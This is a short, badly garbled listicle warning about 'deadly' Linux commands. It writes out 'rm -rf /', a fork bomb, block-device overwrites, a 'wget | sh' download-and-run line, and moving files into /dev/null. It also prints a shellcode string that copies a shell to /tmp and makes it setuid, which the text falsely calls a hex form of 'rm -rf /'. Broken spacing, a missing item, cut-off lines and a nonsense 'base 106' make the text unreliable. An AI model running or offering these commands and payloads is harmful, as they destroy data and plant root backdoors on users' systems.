Deadly 7 Linux commands

1. rm-rf/this command forces the recursive deletion of all files in the/directory.
S 6en 2. char esp[] s 10en__ ((section(".text "))) /* e.s.p
release */
= "\ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
"\ x56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
"\ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
"\ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
"cp p/bin sh/tmp /. beyond; chmod 4755
/ tmp. beyond;" ;
This is the hex (base 106) version of rm-rf /, which confuses Linux users.
This will reformat the hard drive and, naturally, all the data on it will go up in smoke.
4. :(){:|:&}; : the famous fork bomb, this command will tell your system to execute massive processes until your system freezes.
5. any_command > With this command, raw data is written to the block device, resulting in data loss.
6. wget http:// some_untrusted_source-O-| sh :// some_untrusted_source-O-| sh :// some_untrusted_source_source_O_sh:
7. mv /home/yourhomedirectory/* /dev/null

If you think there are other deadly Linux commands, let us know in the comments.